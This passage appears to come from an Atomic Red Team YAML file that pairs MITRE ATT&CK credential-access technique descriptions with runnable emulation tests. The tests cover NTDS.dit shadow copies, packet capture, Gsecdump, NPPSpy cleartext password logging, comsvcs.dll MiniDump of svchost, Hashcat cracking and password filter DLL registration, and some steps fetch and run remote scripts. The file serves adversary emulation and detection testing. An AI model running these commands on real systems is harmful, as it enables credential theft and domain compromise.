      auto_generated_guid: 21748c28-2793-4284-9e07-d6d028b66702
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon)
          type: String
          default: 'C:'
        symlink_path:
          description: symlink path
          type: String
          default: C:\Temp\vssstore
      executor:
        command: |
          vssadmin.exe create shadow /for=#{drive_letter}
          mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
        name: command_prompt
        elevation_required: true
  T1556.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.004
        url: https://attack.mitre.org/techniques/T1556/004
      - source_name: FireEye - Synful Knock
        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      description: |-
        Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

        [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)
      name: Network Device Authentication
      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:11:00.356Z'
      created: '2020-10-19T17:58:04.155Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1040:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1040
        external_id: T1040
      - external_id: CAPEC-158
        source_name: capec
        url: https://capec.mitre.org/data/definitions/158.html
      description: |-
        Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

        Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

        Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.
      name: Network Sniffing
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-02T17:51:59.236Z'
      created: '2017-05-31T21:30:41.399Z'
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Detecting the events leading up to sniffing network traffic
        may be the best method of detection. From the host level, an adversary would
        likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557)
        attack against other devices on a wired network in order to capture traffic
        that was not to or from the current compromised system. This change in the
        flow of information is detectable at the enclave network level. Monitor for
        ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network
        devices is a bit more challenging. Auditing administrator logins, configuration
        changes, and device images is required to detect malicious changes.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_system_requirements:
      - Network interface access and packet capture driver
      x_mitre_is_subtechnique: false
      identifier: T1040
    atomic_tests:
    - name: Packet Capture Linux
      auto_generated_guid: 7fe741f7-b265-4951-a7c7-320889083b3e
      description: |
        Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
      supported_platforms:
      - linux
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: String
          default: ens33
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

'
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

'
        get_prereq_command: "(which yum && yum -y epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: |
          tcpdump -c 5 -nnni #{interface}
          tshark -c 5 -i #{interface}
        name: bash
        elevation_required: true
    - name: Packet Capture macOS
      auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608
      description: |
        Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.
      supported_platforms:
      - macos
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: String
          default: en0A
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

'
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

'
        get_prereq_command: "(which yum && yum -y epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: "sudo tcpdump -c 5 -nnni #{interface}    \nif [ -x \"$(command -v
          tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n"
        name: bash
        elevation_required: true
    - name: Packet Capture Windows Command Prompt
      auto_generated_guid: a5b2f6a0-24b4-493e-9590-c699f75723ca
      description: |
        Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
        installed.

        Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet".
      supported_platforms:
      - windows
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: String
          default: Ethernet
        wireshark_url:
          description: wireshark installer download URL
          type: Url
          default: https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe
        tshark_path:
          description: path to tshark.exe
          type: Path
          default: c:\program files\wireshark\tshark.exe
        npcap_url:
          description: npcap installed download URL
          type: Url
          default: https://nmap.org/npcap/dist/npcap-1.31.exe
        npcap_path:
          description: path to npcap.sys
          type: Path
          default: C:\Program Files\Npcap\npcap.sys
      dependency_executor_name: powershell
      dependencies:
      - description: 'tshark must be installed and in the default path of "c:\Program
          Files\Wireshark\Tshark.exe".

'
        prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest -OutFile $env:temp\wireshark_installer.exe #{wireshark_url}
          Start-Process $env:temp\wireshark_installer.exe /S
      - description: 'npcap must be installed.

'
        prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest -OutFile $env:temp\npcap_installer.exe #{npcap_url}
          Start-Process $env:temp\npcap_installer.exe
      executor:
        command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5

'
        name: command_prompt
        elevation_required: true
    - name: Windows Internal Packet Capture
      auto_generated_guid: b5656f67-d67f-4de8-8e62-b5581630f528
      description: |-
        Uses the built-in Windows packet capture
        After execution you should find a file named trace.etl and trace.cab in the temp directory
      supported_platforms:
      - windows
      executor:
        command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10
        cleanup_command: |-
          netsh trace stop >nul 2>&1
          TIMEOUT /T 5 >nul 2>&1
          del %temp%\trace.etl >nul 2>&1
          del %temp%\trace.cab >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1003:
    technique:
      id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: OS Credential Dumping
      description: |
        Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.

        Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
      external_references:
      - source_name: mitre-attack
        external_id: T1003
        url: https://attack.mitre.org/techniques/T1003
      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
        source_name: Medium Detecting Attempts to Steal Passwords from Memory
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      - url: https://msdn.microsoft.com/library/cc228086.aspx
        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
        source_name: Microsoft DRSR Dec 2017
      - url: https://msdn.microsoft.com/library/dd207691.aspx
        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
          4, 2017.
        source_name: Microsoft GetNCCChanges
      - url: https://wiki.samba.org/index.php/DRSUAPI
        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
        source_name: Samba DRSUAPI
      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
          Oh My. Retrieved December 4, 2017.
        source_name: Harmj0y DCSync Sept 2015
      - url: https://msdn.microsoft.com/library/cc237008.aspx
        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
          Retrieved December 6, 2017.
        source_name: Microsoft NRPC Dec 2017
      - url: https://msdn.microsoft.com/library/cc245496.aspx
        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
        source_name: Microsoft SAMR
      - url: https://adsecurity.org/?p=1729
        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
          and Detection. Retrieved December 4, 2017.
        source_name: AdSecurity DCSync Sept 2015
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-02-09T14:15:25.186Z'
      created: '2017-05-31T21:30:19.735Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      x_mitre_detection: "### Windows\nMonitor for unexpected processes interacting
        with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from
        Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
        access the LSA Subsystem Service (LSASS) process by opening the process, locating
        the LSA secrets key, and decrypting the sections in memory where credential
        details are stored. Credential dumpers may also use methods for reflective
        [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential
        indicators of malicious activity.\n\nHash dumpers open the Security Accounts
        Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM)
        or create a dump of the Registry SAM key to access stored account password
        hashes. Some hash dumpers will open the local file system as a device and
        parse to the SAM table to avoid file access defenses. Others will make an
        in-memory copy of the SAM table before reading hashes. Detection of compromised
        [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries
        may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows
        Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor
        processes and command-line arguments for program execution that may be indicative
        of credential dumping. Remote access tools may contain built-in features or
        incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002).
        [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist
        that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz
        module, (Citation: Powersploit) which may require additional logging features
        to be configured in the operating system to collect necessary information
        for analysis.\n\nMonitor domain controller logs for replication requests and
        other unscheduled activity possibly associated with DCSync. (Citation: Microsoft
        DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI)
        Note: Domain controllers may not log replication requests originating from
        the default domain controller account. (Citation: Harmj0y DCSync Sept 2015).
        Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation:
        Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft
        SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity
        DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored
        in memory, processes must open a maps file in the /proc filesystem for the
        process being analyzed. This file is stored under the path <code>/proc/<pid>/maps</code>,
        where the <code><pid></code> directory is the unique pid of the program being
        interrogated for such authentication data. The AuditD monitoring tool, which
        ships stock in many Linux distributions, can be used to watch for hostile
        processes opening this file in the proc file system, alerting on the pid,
        process name, and arguments of such programs."
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Access'
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Windows Registry: Windows Registry Key Access'
      - 'Active Directory: Active Directory Object Access'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Process: OS API Execution'
      x_mitre_contributors:
      - Vincent Le Toux
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_version: '2.0'
      identifier: T1003
    atomic_tests:
    - name: Gsecdump
      auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9
      description: "Dump credentials from memory using Gsecdump.\n\nUpon successful
        execution, you should see domain\\username's following by two 32 characters
        hashes.\n\nIf you see output that says \"compat: error: failed to create child
        process\", execution was likely blocked by Anti-Virus. \nYou will receive
        only error output if you do not run this test from an elevated context (run
        as administrator)\n\nIf you see a message saying \"The system cannot find
        the path specified\", try using the get-prereq_commands to download and install
        Gsecdump first.\n"
      supported_platforms:
      - windows
      input_arguments:
        gsecdump_exe:
          description: Path to the Gsecdump executable
          type: Path
          default: PathToAtomicsFolder\T1003\bin\gsecdump.exe
        gsecdump_bin_hash:
          description: File hash of the Gsecdump binary file
          type: String
          default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
        gsecdump_url:
          description: Path to download Gsecdump binary file
          type: Url
          default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gsecdump must exist on disk at specified location (#{gsecdump_exe})

'
        prereq_command: 'if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
          IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
          if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
            Move-Item $binpath "#{gsecdump_exe}"
          }
      executor:
        command: "#{gsecdump_exe} -a\n"
        name: command_prompt
        elevation_required: true
    - name: Credential Dumping with NPPSpy
      auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6
      description: |-
        Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
        After user's logging in cleartext password is saved in C:\NPPSpy.txt.
        Clean up deletes the files and reverses Registry changes.
        NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: NPPSpy.dll must be available in local temp directory
        prereq_command: if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit
          1}
        get_prereq_command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "$env:Temp\NPPSPY.dll"
      executor:
        command: |-
          Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"
          $path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
          $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
          Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
          $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
          $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
          $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
          $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
          $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
          echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
        cleanup_command: "$cleanupPath = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\"
          -Name PROVIDERORDER\n$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER \n$cleanupUpdatedValue
          = $cleanupUpdatedValue -replace ',NPPSpy',''\nSet-ItemProperty -Path $cleanupPath.PSPath
          -Name \"PROVIDERORDER\" -Value $cleanupUpdatedValue\nRemove-Item -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\"
          -Recurse -ErrorAction Ignore\nRemove-Item C:\\NPPSpy.txt -ErrorAction Ignore\nRemove-Item
          C:\\Windows\\System32\\NPPSpy.dll -ErrorAction Ignore"
        name: powershell
        elevation_required: true
    - name: Dump svchost.exe to gather RDP credentials
      auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9
      description: |
        The svchost.exe contains the RDP plain-text credentials.
        Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

        Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
      supported_platforms:
      - windows
      executor:
        command: |
          $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
          if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
          C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
        cleanup_command: 'Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
  T1110.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1110.002
        url: https://attack.mitre.org/techniques/T1110/002
      - external_id: CAPEC-55
        source_name: capec
        url: https://capec.mitre.org/data/definitions/55.html
      - url: https://en.wikipedia.org/wiki/Password_cracking
        description: Wikipedia. (n.d.). Password cracking. Retrieved December 23,
          2015.
        source_name: Wikipedia Password cracking
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Cracking
      description: 'Adversaries may use password cracking to attempt to recover usable
        credentials, such as plaintext passwords, when credential material such as
        password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        is used to obtain password hashes, this may only get an adversary so far when
        [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option.
        Techniques to systematically guess the passwords used to compute hashes are
        available, or the adversary may use a pre-computed rainbow table to crack
        hashes. Cracking hashes is usually done on adversary-controlled systems outside
        of the target network.(Citation: Wikipedia Password cracking) The resulting
        plaintext password resulting from a successfully cracked hash may be used
        to log into systems, resources, and services in which the account has access.'
      id: attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-09-16T15:39:59.041Z'
      created: '2020-02-11T18:38:56.197Z'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: It is difficult to detect when hashes are cracked, since
        this is generally done outside the scope of the target network. Consider focusing
        efforts on detecting other adversary behavior used to acquire credential materials,
        such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - Azure AD
      identifier: T1110.002
    atomic_tests:
    - name: Password Cracking with Hashcat
      auto_generated_guid: 6d27df5d-69d4-4c91-bc33-5983ffe91692
      description: Execute Hashcat.exe with provided SAM file from registry of Windows
        and Password list to crack against
      supported_platforms:
      - windows
      input_arguments:
        hashcat_exe:
          description: Path to Hashcat executable
          type: String
          default: "%temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe"
        input_file_sam:
          description: Path to SAM file
          type: String
          default: PathToAtomicsFolder\T1110.002\src\sam.txt
        input_file_passwords:
          description: Path to password list
          type: String
          default: PathToAtomicsFolder\T1110.002\src\password.lst
      dependency_executor_name: powershell
      dependencies:
      - description: Hashcat must exist on disk at specified location (#{hashcat_exe})
        prereq_command: 'if (Test-Path  $(cmd /c echo #{hashcat_exe})) {exit 0} else
          {exit 1}'
        get_prereq_command: |-
          Invoke-WebRequest "https://www.7-zip.org/a/7z1900.exe" -OutFile "$env:TEMP\7z1900.exe"
          Start-Process -FilePath "$env:Temp\7z1900.exe" -ArgumentList "/S /D=$env:temp\7zi" -NoNewWindow
          Invoke-WebRequest "https://hashcat.net/files/hashcat-6.1.1.7z" -OutFile "$env:TEMP\hashcat6.7z"
          Start-Process cmd.exe -Args  "/c %temp%\7z\7z.exe x %temp%\hashcat6.7z -aoa -o%temp%\hashcat-unzip" -Wait
          New-Item -ItemType Directory (Split-Path $(cmd /c echo #{hashcat_exe})) -Force | Out-Null
          Move-Item $env:Temp\hashcat-unzip\hashcat-6.1.1\* $(cmd /c echo #{hashcat_exe}\..) -Force -ErrorAction Ignore
      executor:
        command: |-
          cd #{hashcat_exe}\..
          #{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}
        cleanup_command: |-
          del %temp%\hashcat6.7z >nul 2>&1
          del %temp%\7z1900.exe >nul 2>&1
          del %temp%\7z /Q /S >nul 2>&1
          del %temp%\hashcat-unzip /Q /S >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1556.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.002
        url: https://attack.mitre.org/techniques/T1556/002
      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
        description: Fuller, R. (2013, September 11). Stealing passwords every time
          they change. Retrieved November 21, 2017.
        source_name: Carnal Ownage Password Filters Sept 2013
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Filter DLL
      description: "Adversaries may register malicious password filter dynamic link
        libraries (DLLs) into the authentication process to acquire user credentials
        as they are validated. \n\nWindows password filters are password policy enforcement
        mechanisms for both domain and local accounts. Filters are implemented as
        DLLs containing a method to validate potential passwords against password
        policies. Filter DLLs can be positioned on local computers for local accounts
        and/or domain controllers for domain accounts. Before registering new passwords
        in the Security Accounts Manager (SAM), the Local Security Authority (LSA)
        requests validation from each registered filter. Any potential changes cannot
        take effect until every registered filter acknowledges validation. \n\nAdversaries
        can register malicious password filters to harvest credentials from local
        computers and/or entire domains. To perform proper validation, filters must
        receive plain-text credentials from the LSA. A malicious password filter would
        receive these plain-text credentials every time a password request is made.(Citation:
        Carnal Ownage Password Filters Sept 2013)"
      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:11:55.147Z'
      created: '2020-02-11T19:05:45.829Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_contributors:
      - Vincent Le Toux
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.

        Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1556.002
    atomic_tests:
    - name: Install and Register Password Filter DLL
      auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c
      description: 'Uses PowerShell to install and register a password filter DLL.
        Requires a reboot and administrative privileges.

'
      supported_platforms:
      - windows
      input_arguments:
        input_dll:
          description: Path to DLL to be installed and registered
          type: Path
          default: PathToAtomicsFolder\T1556.002\src\AtomicPasswordFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicPasswordFilter.dll must exist on disk at specified location
          (#{input_dll})

'
        prereq_command: 'if (Test-Path #{input_dll}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host "You must provide your own password filter
          dll"

'
      executor:
        command: |
          $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
          $notificationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
          Restart-Computer -Confirm
        name: powershell
        elevation_required: true
  T1110.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1110.001
        url: https://attack.mitre.org/techniques/T1110/001
      - external_id: CAPEC-49
        source_name: capec
        url: https://capec.mitre.org/data/definitions/49.html
      - source_name: Cylance Cleaver
        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
          14, 2017.
        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
      - source_name: US-CERT TA18-068A 2018
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Guessing
      description: |-
        Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

